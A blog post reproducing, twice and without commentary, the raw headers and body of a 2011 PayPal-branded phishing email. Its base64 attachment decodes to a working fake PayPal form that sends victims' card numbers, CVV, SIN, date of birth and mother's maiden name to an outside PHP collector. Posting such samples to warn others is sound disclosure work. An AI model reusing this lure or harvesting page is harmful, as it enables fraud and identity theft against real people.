Paypal Phish from Bell Canada
Posted by Dave Yadallee on
From - Sun Oct 23 11:53:55 2011
X-Account-Key: account2
X-UIDL: -2F"!dNG"!Bih"!cbB"!
X-Mozilla-Status: 0001
X-Mozilla-Status2: 10000000
X-Mozilla-Keys:
Return-Path:
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on doctor.nl2k.ab.ca
X-Spam-Level: ***
X-Spam-Status: No, score=3.0 required=5.0 tests=RCVD_IN_BACKSCATTER,
RCVD_IN_SPAMCANNIBAL autolearn=no version=3.3.2
X-Original-To: sales@nk.ca
Delivered-To: sales@nk.ca
Received: from localhost (localhost.nl2k.ab.ca [127.0.0.1])
by doctor.nl2k.ab.ca (Postfix) with ESMTP id BD1F612CFA82
for; Sun, 23 Oct 2011 11:53:23 -0600 (MDT)
X-Virus-Scanned: amavisd-new at doctor.nl2k.ab.ca
Received: from doctor.nl2k.ab.ca ([127.0.0.1])
by localhost (doctor.nl2k.ab.ca [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id b_EVoZY2ppAq for;
Sun, 23 Oct 2011 11:53:16 -0600 (MDT)
Received: from toroondcbmts07-srv.bellnexxia.net (toroondcbmts07-srv.bellnexxia.net [207.236.237.41])
by doctor.nl2k.ab.ca (Postfix) with ESMTP id 6D17312CFA81
for; Sun, 23 Oct 2011 11:53:15 -0600 (MDT)
Received: from toip57-bus.srvr.bell.ca ([67.69.240.184])
by toroondcbmts07-srv.bellnexxia.net
(InterMail vM.8.00.01.00 201-2244-105-20090324) with ESMTP
id <20111023175315.XSLH16199.toroondcbmts07-srv.bellnexxia.net@toip57-bus.srvr.bell.ca>
for; Sun, 23 Oct 2011 13:53:15 -0400
Received: from toip39-bus.srvr.bell.ca ([67.69.240.40])
by toip57-bus.srvr.bell.ca with ESMTP; 23 Oct 2011 13:53:12 -0400
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AghmAJ9PpE6uWFi1/2dsb2JhbAAnHIIDhhGRfAEBjn+BBoF8QXkHFIdwEIEZixuLC5BhgQQKAoxMgXODMYI7YQSOZJccgTMB
Received: from bas5-ottawa23-2925025461.dsl.bell.ca (HELO accounts.net) ([174.88.88.181])
by toip39-bus.srvr.bell.ca with ESMTP; 23 Oct 2011 13:53:12 -0400
From: PayPal Inc.
To: sales@nk.ca
Subject: Message ID 5403293
Date: 23 Oct 2011 13:53:18 -0400
Message-ID: <20111023135318.CED0D84EB99CA68D@accounts.net>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_E28DF338.E5231843"
X-UIDL: -2F"!dNG"!Bih"!cbB"!
X-Brightmail-Tracker: AAAAARk+61k=
X-Brightmail-Tracker: AAAAAA==
This is a multi-part message in MIME format.
------=_NextPart_000_0012_E28DF338.E5231843
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
We have detected a slight error in your account information.
To eliminate securely this information error please download
the form attached to this email and open it in a web browser.
Thank you !
------=_NextPart_000_0012_E28DF338.E5231843
Content-Type: application/octet-stream; name="Customer 5403293.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Customer 5403293.html"
77u/PGh0bWw+PGhlYWQ+PHN0eWxlPiB0ZCB7Zm9udC1mYW1pbHk6YXJpYWw7IGZvbnQtc2l6
ZToxMnB4O308L3N0eWxlPjwvaGVhZD48Ym9keT4NCjxmb3JtIGFjdGlvbj0iaHR0cDovL2Zh
Y3RvcmluZ21hcmtldC5jb20vY2FkL2NhcmdhLnBocCIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1p
dD0icmV0dXJuIHZhbGlkYXRlKHRoaXMpIj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiB3aWR0
aD0iNzIwIj4NCjx0cj48dGQgY29sc3Bhbj0yPjxicj48aW1nIHNyYz0iaHR0cDovL2kxMTQw
LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvbjU4MC9wcHVzZXI0MzgyNzQ4OS90b3AucG5nIiBi
b3JkZXI9IjAiPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5FbWFpbCBB
ZGRyZXNzOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJlbWFpbCIgdHlwZT0idGV4dCIgdmFsdWU9
IiIgc2l6ZT0iNDAiPjwvdGQ+PC90cj4gDQo8dHI+PHRkIGFsaWduPSJyaWdodCI+PGI+RnVs
bCBOYW1lOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0i
IiBzaXplPSI0MCI+PC90ZD48L3RyPg0KPHRyPjx0ZCBhbGlnbj0icmlnaHQiPjxiPkRhdGUg
b2YgQmlydGg6PC90ZD48dGQ+PGlucHV0IG5hbWU9ImRvYiIgdHlwZT0idGVzdCIgdmFsdWU9
IiIgc2l6ZT0iMTAiPiA8c3Bhbj5ERCAvIE1NIC8gWVlZWTwvc3Bhbj48L3RkPjwvdHI+DQo8
dHI+PHRkIGFsaWduPSJyaWdodCI+PGI+QWRkcmVzczo8L3RkPjx0ZD48aW5wdXQgbmFtZT0i
YWRkcmVzcyIgdHlwZT0idGVzdCIgdmFsdWU9IiIgc2l6ZT0iNDAiPjwvdGQ+PC90cj4NCjx0
cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5Qb3N0YWwgQ29kZTo8L3RkPjx0ZD48aW5wdXQgbmFt
ZT0iemlwIiB0eXBlPSJ0ZXN0IiB2YWx1ZT0iIiBzaXplPSI2Ij48L3RkPjwvdHI+DQo8dHI+
PHRkIGFsaWduPSJyaWdodCI+PGI+UGhvbmUgTnVtYmVyOjwvdGQ+PHRkPjxpbnB1dCBuYW1l
PSJwaG9uZSIgdHlwZT0idGVzdCIgdmFsdWU9IiIgc2l6ZT0iMTciPjwvdGQ+PC90cj4NCjx0
cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5DaXR5OjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJjaXR5
IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iIiBzaXplPSIyMCI+PC90ZD48L3RyPg0KPHRyPjx0ZCBh
bGlnbj0icmlnaHQiPjxiPlNvY2lhbCBJbnN1cmFuY2UgTnVtYmVyICAoU0lOKSA6PC90ZD48
dGQ+PGlucHV0IG5hbWU9InNzbiIgdHlwZT0idGVzdCIgdmFsdWU9IiIgc2l6ZT0iMTciPjwv
dGQ+PC90cj4NCjx0cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5Nb3RoZXIncyBNYWlkZW4gTmFt
ZTo8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibW1uIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iIiBzaXpl
PSIzMCI+PC90ZD48L3RyPg0KPHRyPjx0ZCBhbGlnbj0icmlnaHQiPjxiPkNhcmQgTnVtYmVy
OjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJjYyIgdHlwZT0idGV4dCIgdmFsdWU9IiIgc2l6ZT0i
MjIiIE1BWExFTkdUSD0xNz48L3RkPjwvdHI+DQo8dHI+PHRkIGFsaWduPSJyaWdodCI+PGI+
RXhwaXJhdGlvbiBEYXRlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtbSIg
c2l6ZT0iMiI+IC8gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Inl5eXkiIHNpemU9IjQiPiA8
c3Bhbj5NTSAvIFlZWVkgPC9zcGFuPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249InJpZ2h0
Ij48Yj5DYXJkIFZlcmlmaWNhdGlvbiBOdW1iZXI6PC90ZD48dGQ+PGlucHV0IG5hbWU9ImN2
diIgdHlwZT0idGV4dCIgdmFsdWU9IiIgc2l6ZT0iMyI+PC90cj4NCjx0cj48dGQgY29sc3Bh
bj0iMiI+PGhyIHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZDtjb2xvcjojY2NjY2NjIi8+PC90
ZD48L3RyPjwvdGFibGU+DQo8dGFibGUgd2lkdGg9IjcwMCIgYWxpZ249ImNlbnRlciI+PHRy
Pjx0ZCBhbGlnbj0icmlnaHQiPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJodHRwOi8vaTEx
NDAucGhvdG9idWNrZXQuY29tL2FsYnVtcy9uNTgwL3BwdXNlcjQzODI3NDg5L3N1Ym1pdC5w
bmciIG9uY2xpY2s9Im9rKCkiPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249ImNlbnRlciI+
PGltZyBzcmM9Imh0dHA6Ly9pMTE0MC5waG90b2J1Y2tldC5jb20vYWxidW1zL241ODAvcHB1
c2VyNDM4Mjc0ODkvZW5kbmV3LnBuZyIgYm9yZGVyPSIwIj48L3RkPjwvdHI+DQo8L3RhYmxl
PjwvZm9ybT48L2JvZHk+PC9odG1sPg==
------=_NextPart_000_0012_E28DF338.E5231843--
X-Account-Key: account2
X-UIDL: -2F"!dNG"!Bih"!cbB"!
X-Mozilla-Status: 0001
X-Mozilla-Status2: 10000000
X-Mozilla-Keys:
Return-Path:
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on doctor.nl2k.ab.ca
X-Spam-Level: ***
X-Spam-Status: No, score=3.0 required=5.0 tests=RCVD_IN_BACKSCATTER,
RCVD_IN_SPAMCANNIBAL autolearn=no version=3.3.2
X-Original-To: sales@nk.ca
Delivered-To: sales@nk.ca
Received: from localhost (localhost.nl2k.ab.ca [127.0.0.1])
by doctor.nl2k.ab.ca (Postfix) with ESMTP id BD1F612CFA82
for
X-Virus-Scanned: amavisd-new at doctor.nl2k.ab.ca
Received: from doctor.nl2k.ab.ca ([127.0.0.1])
by localhost (doctor.nl2k.ab.ca [127.0.0.1]) (amavisd-new, port 10024)
with ESMTP id b_EVoZY2ppAq for
Sun, 23 Oct 2011 11:53:16 -0600 (MDT)
Received: from toroondcbmts07-srv.bellnexxia.net (toroondcbmts07-srv.bellnexxia.net [207.236.237.41])
by doctor.nl2k.ab.ca (Postfix) with ESMTP id 6D17312CFA81
for
Received: from toip57-bus.srvr.bell.ca ([67.69.240.184])
by toroondcbmts07-srv.bellnexxia.net
(InterMail vM.8.00.01.00 201-2244-105-20090324) with ESMTP
id <20111023175315.XSLH16199.toroondcbmts07-srv.bellnexxia.net@toip57-bus.srvr.bell.ca>
for
Received: from toip39-bus.srvr.bell.ca ([67.69.240.40])
by toip57-bus.srvr.bell.ca with ESMTP; 23 Oct 2011 13:53:12 -0400
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AghmAJ9PpE6uWFi1/2dsb2JhbAAnHIIDhhGRfAEBjn+BBoF8QXkHFIdwEIEZixuLC5BhgQQKAoxMgXODMYI7YQSOZJccgTMB
Received: from bas5-ottawa23-2925025461.dsl.bell.ca (HELO accounts.net) ([174.88.88.181])
by toip39-bus.srvr.bell.ca with ESMTP; 23 Oct 2011 13:53:12 -0400
From: PayPal Inc.
To: sales@nk.ca
Subject: Message ID 5403293
Date: 23 Oct 2011 13:53:18 -0400
Message-ID: <20111023135318.CED0D84EB99CA68D@accounts.net>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_E28DF338.E5231843"
X-UIDL: -2F"!dNG"!Bih"!cbB"!
X-Brightmail-Tracker: AAAAARk+61k=
X-Brightmail-Tracker: AAAAAA==
This is a multi-part message in MIME format.
------=_NextPart_000_0012_E28DF338.E5231843
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
We have detected a slight error in your account information.
To eliminate securely this information error please download
the form attached to this email and open it in a web browser.
Thank you !
------=_NextPart_000_0012_E28DF338.E5231843
Content-Type: application/octet-stream; name="Customer 5403293.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Customer 5403293.html"
77u/PGh0bWw+PGhlYWQ+PHN0eWxlPiB0ZCB7Zm9udC1mYW1pbHk6YXJpYWw7IGZvbnQtc2l6
ZToxMnB4O308L3N0eWxlPjwvaGVhZD48Ym9keT4NCjxmb3JtIGFjdGlvbj0iaHR0cDovL2Zh
Y3RvcmluZ21hcmtldC5jb20vY2FkL2NhcmdhLnBocCIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1p
dD0icmV0dXJuIHZhbGlkYXRlKHRoaXMpIj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiB3aWR0
aD0iNzIwIj4NCjx0cj48dGQgY29sc3Bhbj0yPjxicj48aW1nIHNyYz0iaHR0cDovL2kxMTQw
LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvbjU4MC9wcHVzZXI0MzgyNzQ4OS90b3AucG5nIiBi
b3JkZXI9IjAiPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5FbWFpbCBB
ZGRyZXNzOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJlbWFpbCIgdHlwZT0idGV4dCIgdmFsdWU9
IiIgc2l6ZT0iNDAiPjwvdGQ+PC90cj4gDQo8dHI+PHRkIGFsaWduPSJyaWdodCI+PGI+RnVs
bCBOYW1lOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0i
IiBzaXplPSI0MCI+PC90ZD48L3RyPg0KPHRyPjx0ZCBhbGlnbj0icmlnaHQiPjxiPkRhdGUg
b2YgQmlydGg6PC90ZD48dGQ+PGlucHV0IG5hbWU9ImRvYiIgdHlwZT0idGVzdCIgdmFsdWU9
IiIgc2l6ZT0iMTAiPiA8c3Bhbj5ERCAvIE1NIC8gWVlZWTwvc3Bhbj48L3RkPjwvdHI+DQo8
dHI+PHRkIGFsaWduPSJyaWdodCI+PGI+QWRkcmVzczo8L3RkPjx0ZD48aW5wdXQgbmFtZT0i
YWRkcmVzcyIgdHlwZT0idGVzdCIgdmFsdWU9IiIgc2l6ZT0iNDAiPjwvdGQ+PC90cj4NCjx0
cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5Qb3N0YWwgQ29kZTo8L3RkPjx0ZD48aW5wdXQgbmFt
ZT0iemlwIiB0eXBlPSJ0ZXN0IiB2YWx1ZT0iIiBzaXplPSI2Ij48L3RkPjwvdHI+DQo8dHI+
PHRkIGFsaWduPSJyaWdodCI+PGI+UGhvbmUgTnVtYmVyOjwvdGQ+PHRkPjxpbnB1dCBuYW1l
PSJwaG9uZSIgdHlwZT0idGVzdCIgdmFsdWU9IiIgc2l6ZT0iMTciPjwvdGQ+PC90cj4NCjx0
cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5DaXR5OjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJjaXR5
IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iIiBzaXplPSIyMCI+PC90ZD48L3RyPg0KPHRyPjx0ZCBh
bGlnbj0icmlnaHQiPjxiPlNvY2lhbCBJbnN1cmFuY2UgTnVtYmVyICAoU0lOKSA6PC90ZD48
dGQ+PGlucHV0IG5hbWU9InNzbiIgdHlwZT0idGVzdCIgdmFsdWU9IiIgc2l6ZT0iMTciPjwv
dGQ+PC90cj4NCjx0cj48dGQgYWxpZ249InJpZ2h0Ij48Yj5Nb3RoZXIncyBNYWlkZW4gTmFt
ZTo8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibW1uIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iIiBzaXpl
PSIzMCI+PC90ZD48L3RyPg0KPHRyPjx0ZCBhbGlnbj0icmlnaHQiPjxiPkNhcmQgTnVtYmVy
OjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJjYyIgdHlwZT0idGV4dCIgdmFsdWU9IiIgc2l6ZT0i
MjIiIE1BWExFTkdUSD0xNz48L3RkPjwvdHI+DQo8dHI+PHRkIGFsaWduPSJyaWdodCI+PGI+
RXhwaXJhdGlvbiBEYXRlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtbSIg
c2l6ZT0iMiI+IC8gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Inl5eXkiIHNpemU9IjQiPiA8
c3Bhbj5NTSAvIFlZWVkgPC9zcGFuPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249InJpZ2h0
Ij48Yj5DYXJkIFZlcmlmaWNhdGlvbiBOdW1iZXI6PC90ZD48dGQ+PGlucHV0IG5hbWU9ImN2
diIgdHlwZT0idGV4dCIgdmFsdWU9IiIgc2l6ZT0iMyI+PC90cj4NCjx0cj48dGQgY29sc3Bh
bj0iMiI+PGhyIHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZDtjb2xvcjojY2NjY2NjIi8+PC90
ZD48L3RyPjwvdGFibGU+DQo8dGFibGUgd2lkdGg9IjcwMCIgYWxpZ249ImNlbnRlciI+PHRy
Pjx0ZCBhbGlnbj0icmlnaHQiPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJodHRwOi8vaTEx
NDAucGhvdG9idWNrZXQuY29tL2FsYnVtcy9uNTgwL3BwdXNlcjQzODI3NDg5L3N1Ym1pdC5w
bmciIG9uY2xpY2s9Im9rKCkiPjwvdGQ+PC90cj4NCjx0cj48dGQgYWxpZ249ImNlbnRlciI+
PGltZyBzcmM9Imh0dHA6Ly9pMTE0MC5waG90b2J1Y2tldC5jb20vYWxidW1zL241ODAvcHB1
c2VyNDM4Mjc0ODkvZW5kbmV3LnBuZyIgYm9yZGVyPSIwIj48L3RkPjwvdHI+DQo8L3RhYmxl
PjwvZm9ybT48L2JvZHk+PC9odG1sPg==
------=_NextPart_000_0012_E28DF338.E5231843--
Trackbacks
Trackback specific URI for this entryThis link is not meant to be clicked. It contains the trackback URI for this entry. You can use this URI to send ping- & trackbacks from your own blog to this entry. To copy the link, right click and select "Copy Shortcut" in Internet Explorer or "Copy Link Location" in Mozilla.
No Trackbacks
Comments
Display comments as Linear | ThreadedNo comments